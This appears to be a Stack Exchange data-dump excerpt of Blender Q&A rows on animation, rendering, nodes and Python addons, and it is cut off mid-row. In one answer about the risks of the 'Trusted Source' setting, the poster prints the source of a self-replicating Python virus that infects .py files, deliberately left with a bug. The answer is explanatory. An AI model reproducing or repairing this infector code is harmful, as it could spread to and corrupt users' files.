  <row Id="23716" PostTypeId="1" CreationDate="2015-01-24T13:40:28.017" Score="1" ViewCount="1261" Body="&lt;p&gt;If I make a keyframe, some frames later move a bone then make an other LocRot keyframe, the previous one disappears. But if I step back there, the title of the frame turns orange. So it should be there, but the character doesn't move and the previous yellow lines clear out of the timeline. Can you help me?&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2015-01-24T14:17:32.740" Title="Keyframes Disappear" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23719" PostTypeId="2" ParentId="23716" CreationDate="2015-01-24T14:17:32.740" Score="2" Body="&lt;p&gt;I solved the problem. These screenshots helped me:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sfhVw.jpg&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZ18y.jpg&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2015-01-24T14:17:32.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23720" PostTypeId="1" CreationDate="2015-01-24T14:42:17.963" Score="4" ViewCount="1221" Body="&lt;p&gt;Can I map a 360° panorama as equirectangular image to a sphere, so that it resembles the original panorama inside out?&lt;/p&gt;&#xA;" OwnerUserId="11192" LastActivityDate="2015-01-24T14:42:17.963" Title="Map equirectangular image to sphere?" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="2" ClosedDate="2015-02-04T18:47:19.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="23721" PostTypeId="1" AcceptedAnswerId="23726" CreationDate="2015-01-24T15:28:40.657" Score="1" ViewCount="156" Body="&lt;p&gt;It was looking like dividing by parts, a scene for rendering and reading this, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Render/Options&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Render/Options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;code&gt;Xparts&lt;/code&gt; and &lt;code&gt;Yparts&lt;/code&gt; but on blender 2.4, but the &lt;em&gt;interface has changed&lt;/em&gt; I currently have the 2.63 and download the, 2.73 and see but I can not see the menu for Xparts and Yparts, someone can say me if these options are even, and if I could show where. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7732" LastActivityDate="2015-01-24T16:58:11.127" Title="Xparts and Yparts Blender 2.63 or 2.72" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23723" PostTypeId="1" AcceptedAnswerId="23760" CreationDate="2015-01-24T15:51:55.797" Score="0" ViewCount="765" Body="&lt;p&gt;I have a .3ds file someone gave me that will load in fine. I will edit it a little bit, just translating so i can change the point of origin, I export as .3ds again. If I reload it, it will be far smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting somewhere that decides what scale to maintain when it exports an object?&lt;/p&gt;&#xA;" OwnerUserId="11193" LastActivityDate="2015-01-25T04:14:16.480" Title="exporting to .3ds changes the scale" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23725" PostTypeId="1" CreationDate="2015-01-24T16:48:44.397" Score="0" ViewCount="74" Body="&lt;p&gt;I made a decent looking bolt gun in blender and I'm trying to add movement to the guns string. I added a rig to the bow part with a 2 sets of bones going along the Z axes.&lt;br&gt;&#xA;Then I set one bone to the string as a way to pull the string back. I set automatic weights in parenting to both the string and bow. Here's my problem, when I pull the string back, the whole mesh goes with it and stretches. How can I set this up so it will work right? Is it possible that the string needs to be set up as it's own object? It isn't even listed as &quot;cylinder&quot; in the hierarchy.&lt;/p&gt;&#xA;" OwnerUserId="11195" LastEditorUserId="6385" LastEditDate="2015-01-24T17:23:24.087" LastActivityDate="2015-01-24T17:23:24.087" Title="Bone moves the entire mesh" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-12-18T05:35:11.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="23726" PostTypeId="2" ParentId="23721" CreationDate="2015-01-24T16:58:11.127" Score="3" Body="&lt;p&gt;This change was made in version 2.65, described in the release notes &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.65/Cycles#User_Interaction&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; under 'User Interaction'. You now have to define the size of the tiles by pixels in the performance panel, instead of defining how many tiles. For example, setting a tile to be 100px x 100px when rendering a 1000px x 1000px image would results in 10 tiles by 10 tiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I personally like to also have the option to define by the number of tiles, using the old way as you describe. I wrote a small addon which restores this functionality which can be found on github &lt;a href=&quot;https://github.com/RayMairlot/Restore-Render-Parts&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, which adds back render parts options at the bottom of the performance panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AZrpz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-01-24T16:58:11.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23727" PostTypeId="1" AcceptedAnswerId="23731" CreationDate="2015-01-24T16:59:30.220" Score="7" ViewCount="2444" Body="&lt;p&gt;It turns out to be impossible to make a 360° rotation by using quaternion only with 2 keyframes. So I used three. However, the result appears unlinear, even though the curve interpolation type are all set to Linear. &lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3OEM2NFlKQ09DYjA/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;demo file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if this is something unavoidable. If not, is there any way to achieve a true linear quaternion rotation?&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T02:15:56.567" LastActivityDate="2015-04-06T02:15:56.567" Title="How to make a true linear quaternion rotation?" Tags="&lt;transforms&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23728" PostTypeId="1" AcceptedAnswerId="23730" CreationDate="2015-01-24T17:55:04.343" Score="7" ViewCount="9936" Body="&lt;p&gt;In &lt;strong&gt;&lt;em&gt;Compositing nodes&lt;/em&gt;&lt;/strong&gt; window there is an option to quickly connect the &lt;em&gt;selected node&lt;/em&gt; to a &lt;em&gt;viewer node&lt;/em&gt; using some kind of keyboard shortcut. I can't remember what it was. The only thing I remember is, that you have to hover the cursor over the active node's output (as shown below), press RMB or LMB and some kind of shortcut. Thanks for help in advance.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zG8H5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing is interesting to me. When I hover the cursor over the selected node's output and press &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;Right-click&lt;/kbd&gt; it become highlighted. What is this kind of selection for?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UXYt7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-01-24T18:28:40.993" LastActivityDate="2015-01-24T19:02:30.497" Title="How to connect nodes very fast using shortcut?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23729" PostTypeId="1" AcceptedAnswerId="23733" CreationDate="2015-01-24T17:57:54.157" Score="3" ViewCount="453" Body="&lt;p&gt;I rarely uncheck &quot;Trusted Source&quot; (even when opening files downloaded from sites like this one), what sort of security risks am I leaving my self open to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that with &lt;a href=&quot;https://blender.stackexchange.com/q/2041/2217&quot;&gt;trusted source&lt;/a&gt; checked python scripts can automatically run, but what sort of nefarious things can happen?&lt;br&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/q/7273/2217&quot;&gt;This&lt;/a&gt; question does not shed much light on what could potentially happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that just by oping a blend file that a virus could get installed?&lt;br&gt;&#xA;Examples are welcome.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2017-03-15T22:56:39.780" Title="What are the security risks of leaving &quot;Trusted Source&quot; checked?" Tags="&lt;python&gt;&lt;interface&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23730" PostTypeId="2" ParentId="23728" CreationDate="2015-01-24T17:58:36.117" Score="9" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Left-Click&lt;/kbd&gt; on the node and it will connect to the viewer node. If no viewer exists, it will create one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also select two different nodes and press &lt;kbd&gt;F&lt;/kbd&gt; to connect them automatically (they will try and connect from the first output to the first input if they are available).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Left-Click&lt;/kbd&gt; (or right-click as you mentioned) on the node socket output allows you to select which specific node sockets are connected when using &lt;kbd&gt;F&lt;/kbd&gt;. This means you can also &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Left-Click&lt;/kbd&gt; on the target node socket to select which input it will connect to (by default it will connect to the next free input on the node). &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-01-24T19:02:30.497" LastActivityDate="2015-01-24T19:02:30.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23731" PostTypeId="2" ParentId="23727" CreationDate="2015-01-24T18:02:42.263" Score="8" Body="&lt;p&gt;You would need to make a &lt;strong&gt;sinus/cosinus&lt;/strong&gt; graph for that animation to have linear motion with quaternions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 1st cube I set &lt;em&gt;Euler rotation&lt;/em&gt; and animated a linear rotation, with &lt;em&gt;Copy rotation&lt;/em&gt; constraint copied that to the second cube and then baked the animation on it with Object &gt; Animation &gt; Bake Action (visual keying on). This resulted in (the gif is little laggy):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kt0KB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be done easily with &lt;strong&gt;Sinusoidal&lt;/strong&gt; easing type. Setting correct easingIn/easingOut for keyframes yields to this nice result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bOKtZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-25T09:42:53.730" LastActivityDate="2015-01-25T09:42:53.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23732" PostTypeId="1" CreationDate="2015-01-24T18:10:54.677" Score="3" ViewCount="1385" Body="&lt;p&gt;My knowledge for doing fade-in/fade-out transforms in Blender's Video Sequence Editor is based on the answer to the following question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/2104/6335/&quot; title=&quot;Fade to Black Effect in Video Sequence editor?&quot;&gt;https://blender.stackexchange.com/a/2104/6335&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is described is a multi-step process which struck me as rather cumbersome for a simple transformation such as a fade-out to black (add a color strip, add a cross-effect, etc).  Is this how power-users do this activity in Blender?  Or do they use a plug-in that I may not be aware of?  Or, is it just the case that Blender is really not used for such simple transforms and instead, some other tool (such as After Effects) is used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is plenty powerful in other tasks, and I am not knocking Blender's overall capabilities. Rather, I would like to know the usage in real-world workflows for this specific, rather rudimentary task.  (Even in Microsoft's brain-dead Movie Maker, what is involved is more straightforward.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am reminded of the various attachments you can get for KitchenAid.  Yes, it is possible to juice with a KitchenAid, but why? It is not what is was built for in the first place.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/H4Hfc6h&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/H4Hfc6h.jpg&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6335" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-01-25T05:31:32.937" Title="Practicality of fade-in/out transforms in Blender" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23733" PostTypeId="2" ParentId="23729" CreationDate="2015-01-24T18:15:44.383" Score="5" Body="&lt;p&gt;Since &lt;a href=&quot;http://www.pythonforbeginners.com/os/pythons-os-module&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;os&lt;/em&gt;&lt;/a&gt; and &lt;em&gt;sys&lt;/em&gt; modules are shipped with blender, the script could manipulate your files on disk, write files or overwrite them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could save some dll libraries or whole programs on your system. It could be malware, sniffing programs, viruses etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example virus by &lt;a href=&quot;https://evilzone.org/scripting-languages/(python-source)-basic-virus-infection-and-polymorphy/&quot; rel=&quot;nofollow&quot;&gt;Deque&lt;/a&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#MAGIC_STRING_skd83749872&#xA;import os&#xA;import __main__&#xA;import random&#xA;&#xA;def infect(filename):&#xA;   os.rename(filename, filename + &quot;~&quot;)&#xA;   destination = open(filename, &quot;w&quot;)&#xA;   source = open(filename + &quot;~&quot;, &quot;r&quot;)&#xA;   this = open(__main__.__file__, &quot;r&quot;)&#xA;   for line in this:&#xA;      destination.write(line)&#xA;      if line.startswith(&quot;#MAGIC_STRING_9348788nkmsd&quot;):&#xA;         break;&#xA;   for line in source:&#xA;      destination.write(line)&#xA;   source.close()&#xA;   destination.close()&#xA;   this.close()&#xA;def is_infected(filename):&#xA;   f = open(filename, &quot;x&quot;)&#xA;   return f.readline().startswith(&quot;#MAGIC_STRING_skd83749872&quot;)&#xA;def find_and_infect_files():&#xA;   path = &quot;.&quot;&#xA;   dirs = os.listdir(path)&#xA;   for filename in dirs:&#xA;      if filename.endswith(&quot;.py&quot;) and not is_infected(filename):&#xA;         infect(filename)&#xA;find_and_infect_files()&#xA;print &quot;----------this is silly python virus----------&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a &quot;harmless&quot; code able of replicating itself. There is a bug in the code to prevent noobs from running it.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-24T18:35:09.313" LastActivityDate="2015-01-24T18:35:09.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23734" PostTypeId="2" ParentId="23728" CreationDate="2015-01-24T18:26:40.437" Score="4" Body="&lt;p&gt;You can connect 2 or more nodes together by their primary input and output socket using &lt;kbd&gt;F&lt;/kbd&gt;. Additionally, you can add a node between two nodes by just dragging it over the noodle (the line) connecting them.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-01-24T18:26:40.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23735" PostTypeId="1" AcceptedAnswerId="23747" CreationDate="2015-01-24T18:31:57.447" Score="7" ViewCount="1355" Body="&lt;p&gt;Is there possibility to get color overlay over selected object (in object mode). Just like when you select something in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default indication is border over mesh, but this can be very unclear in some situations and you end up tab-ing into edit mode or looking in scene graph to see which mesh have you selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7XPxt.png&quot; alt=&quot;selection&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11173" LastActivityDate="2017-02-06T08:33:08.833" Title="Way to color shade selected object" Tags="&lt;customization&gt;&lt;selection-tools&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23736" PostTypeId="2" ParentId="23735" CreationDate="2015-01-24T18:52:07.523" Score="3" Body="&lt;p&gt;There exists no builtin option to change the overlay color of the selected object except in &lt;em&gt;object mode&lt;/em&gt;, at most you can change the border color in your user prefs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One alternative is to change the object color in the &lt;em&gt;Options&lt;/em&gt; panel under &lt;em&gt;Display&lt;/em&gt; and then create a material and under its &lt;em&gt;Options&lt;/em&gt; tick &lt;em&gt;Object Color&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The few extra clicks is slightly a bit tedious in my opinion but you can use the same material when rendering, you just have to untick &lt;em&gt;Object Color&lt;/em&gt; in the material settings so it doesn't interfere. This process could also be converted to a script to make it more efficient.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-01-24T18:59:03.927" LastActivityDate="2015-01-24T18:59:03.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23737" PostTypeId="2" ParentId="23735" CreationDate="2015-01-24T19:00:14.790" Score="5" Body="&lt;p&gt;Paste this into text editor and run it, it will switch an orange material based on your selection.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mat = bpy.data.materials.new(name=&quot;Selected&quot;)&#xA;mat.diffuse_color = (1,0.5,0)&#xA;&#xA;def sel_handler(scene):&#xA;    for ob in [o for o in scene.objects if o.type=='MESH']:&#xA;        if ob.select:&#xA;            if len(ob.data.materials):&#xA;                ob.data.materials[0] = mat&#xA;            else:&#xA;                ob.data.materials.append(mat)&#xA;        else:&#xA;            if len(ob.data.materials):&#xA;                ob.data.materials[0] = None&#xA;&#xA;bpy.app.handlers.scene_update_pre.append(sel_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will override your materials though, so be careful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xioP9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility would be to draw with bgl module over viewport what is selected, but because it would be in python the performance on high-poly meshes would be superslow..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-24T19:19:53.987" LastActivityDate="2015-01-24T19:19:53.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23739" PostTypeId="1" CreationDate="2015-01-24T19:39:08.610" Score="2" ViewCount="775" Body="&lt;p&gt;I want to register a collection of my custom CurveObjects. Every CurveObject has a collection of CurvePoints.&#xA;I'm trying to make a CurveObject with a collection of CurvePoints. But i fail to register CurveObject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MR_CurvePoint(bpy.types.PropertyGroup):&#xA;    y = BoolProperty(&#xA;        name=&quot;y&quot;,&#xA;        description=&quot;y...&quot;,&#xA;        default=False&#xA;    )&#xA;&#xA;&#xA;class MR_CurveObject(bpy.types.PropertyGroup):&#xA;    x = CollectionProperty(&#xA;        name=&quot;x&quot;,&#xA;        description=&quot;x...&quot;,&#xA;        type = MR_CurvePoint,&#xA;        default=None&#xA;    )&#xA;&#xA;...&#xA;&#xA;def register():&#xA;    bpy.types.Scene.my_curve_object = CollectionProperty(&#xA;        name=&quot;Mira Tool Variables&quot;,&#xA;        type=MR_CurveObject,&#xA;        description=&quot;Mira Curve&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My log when i try to register:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traceback (most recent call last):&#xA;  File &quot;C:\mifth\blender\2.73\scripts\modules\bpy\utils.py&quot;, line 600, in register_module&#xA;    register_class(cls)&#xA;ValueError: bpy_struct &quot;MR_CurveObject&quot; registration error: x could not register&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to register Collection inside of Collection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="911" LastEditDate="2015-01-24T19:47:10.503" LastActivityDate="2015-01-24T20:16:34.877" Title="Register Object inside of Another Object" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23740" PostTypeId="1" CreationDate="2015-01-24T19:44:12.163" Score="1" ViewCount="1214" Body="&lt;p&gt;I've tried to resize limbs on some models from sfm but so far i could only resize whole model. i can easily do what i want in pose mode but when i export it into .smd, there are no changes. in editing mode this seem to be complicated as i need to work with meshes and bones positions. barely started using blender and i dont want to go deep, only wanted to resize some bones. sfm offers scaling but only in x,y,z at same time.&lt;/p&gt;&#xA;" OwnerUserId="11199" LastActivityDate="2015-01-24T19:44:12.163" Title="(sfm) How can I resize bones in 3 axises of models when editing .smd files in blender" Tags="&lt;bones&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="23741" PostTypeId="2" ParentId="23739" CreationDate="2015-01-24T20:16:34.877" Score="2" Body="&lt;p&gt;Ahhhh! It seems I had to remove Default value from CollectionProperty. It was my mistake. Here is working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MR_CurvePoint(bpy.types.PropertyGroup):&#xA;    y = BoolProperty(&#xA;        name=&quot;y&quot;,&#xA;        description=&quot;y...&quot;,&#xA;        default=False&#xA;    )&#xA;&#xA;&#xA;class MR_CurveObject(bpy.types.PropertyGroup):&#xA;    x = CollectionProperty(&#xA;        name=&quot;x&quot;,&#xA;        description=&quot;x...&quot;,&#xA;        type = MR_CurvePoint,&#xA;    )&#xA;&#xA;...&#xA;&#xA;def register():&#xA;    bpy.types.Scene.my_curve_object = CollectionProperty(&#xA;        name=&quot;Mira Tool Variables&quot;,&#xA;        type=MR_CurveObject,&#xA;        description=&quot;Mira Curve&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastActivityDate="2015-01-24T20:16:34.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23742" PostTypeId="1" AcceptedAnswerId="23744" CreationDate="2015-01-24T20:28:24.833" Score="4" ViewCount="4669" Body="&lt;p&gt;theres a loose edge in my blend file and i tried delete loose, clean up, remove doubles, EVERYTHING. i worked hard on this model and i can't let it go to waste. anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNMvC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-01-24T20:55:42.497" LastActivityDate="2016-04-13T04:05:15.297" Title="Edge won't go away, no matter what I try, and it can't be selected" Tags="&lt;modeling&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="23744" PostTypeId="2" ParentId="23742" CreationDate="2015-01-24T21:33:13.317" Score="6" Body="&lt;p&gt;The edge is a &lt;em&gt;separate object&lt;/em&gt; from the rest of the mesh; it appears orange because it was also selected when you entered edit-mode. &lt;kbd&gt;Tab&lt;/kbd&gt; into object mode, deselect the main object so that the only object selected is the mystery edge, and delete. (&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-24T21:33:13.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23745" PostTypeId="1" CreationDate="2015-01-24T22:04:53.613" Score="1" ViewCount="1392" Body="&lt;p&gt;I have a houseplant object and pot object both as children to an empty parent object, and I'm trying to change the pivot of the parent to be the center of the bottom of the pot.  If I select the child components separately I can set this pivot by moving the 3D cursor in place and using Set Origin.  However, as soon as I select the parent, the pivot is still in a random location and the Set Origin button disappears.  Is there an easier way to deal with this? Thanks&lt;/p&gt;&#xA;" OwnerUserId="11201" LastActivityDate="2015-01-24T22:04:53.613" Title="How to change the origin/pivot point of a parent of many objects" Tags="&lt;transforms&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23746" PostTypeId="1" CreationDate="2015-01-24T22:20:47.730" Score="0" ViewCount="586" Body="&lt;p&gt;I'm trying to dissolve faces, but half the time it doesn't dissolve them but instead moves the origin to the middle of a face on my object. The same face every time. Why??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VVPi1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-01-25T16:26:00.733" Title="Trying to dissolve edge, but sometimes blender brings the origin to a face instead and doesn't dissolve the face. REALLY annoying!" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-01-25T21:49:28.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="23747" PostTypeId="2" ParentId="23735" CreationDate="2015-01-24T22:38:14.047" Score="8" Body="&lt;p&gt;One work around for the problem of not being able to see which mesh is selected (because the  edges are blocked from view); is to turn on display &lt;em&gt;Wire&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;Properties&lt;/em&gt; window on the &lt;em&gt;Object&lt;/em&gt; tab, under the &lt;em&gt;Display&lt;/em&gt; category there are several options for different things that can be displayed in the 3D view along with the object. Check the button for &lt;em&gt;Wire&lt;/em&gt; and &lt;em&gt;Draw All Edges&lt;/em&gt;, then the edges will be overlaid on on mesh, which when selected will change to be the selection color.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Lcff.png&quot; alt=&quot;object settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an addon called &lt;a href=&quot;https://bitbucket.org/DavidBates/selected-wireframe/downloads&quot;&gt;Selected Wireframe&lt;/a&gt; that will turn on &lt;em&gt;Wire&lt;/em&gt; and &lt;em&gt;Draw All Edges&lt;/em&gt; for all the selected objects. It will respect the object's wire and Draw All Edges settings, and leave the object unchanged when not selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage is simple, after &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons&quot;&gt;installing&lt;/a&gt; and enabling the addon, just click the &lt;em&gt;Show Wire&lt;/em&gt; button in the &lt;em&gt;Tools&lt;/em&gt; tab of the &lt;em&gt;Tool Shelf&lt;/em&gt;. Then when you do not want the wirefrmes displaying on the selected object, click the &lt;em&gt;Hide Wire&lt;/em&gt; button in the same place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pTQZZ.png&quot; alt=&quot;Show Wire button&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-24T22:38:14.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23748" PostTypeId="2" ParentId="23665" CreationDate="2015-01-24T23:06:15.007" Score="0" Body="&lt;p&gt;I had posted another answer to my question that addressed the original situation I was facing.  But since I'm designing an entire series of objects with trilateral symmetry and some with some very different topology, I thought I'd adopt a variation of the solution presented by @cetagon here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with my other solution is that it maps everything in the original model above the X axis to the outside of the circle and everything below the X axis to the inside the circle.  While this works for my original problem, it leads to a lot of confusion and crazy math to try to get resulting geometry that is close the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's the solution I am using now.  This is also generalizable for N-way symmetry, but I'll show the 3-way case here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With starting geometry that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/umcrO.png&quot; alt=&quot;Starting geometry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Add a Mirror modifier to mirror in X to get (be sure to select Merge and Clipping):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s3upw.png&quot; alt=&quot;Mirror in X&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Add an empty at the origin and rotate it around Z by 120 degrees (1/3 of the way around).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Add an Array modifier with relative offset 0, select Object Offset and specify the Empty object.  Be sure to select Merge and First Last as in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 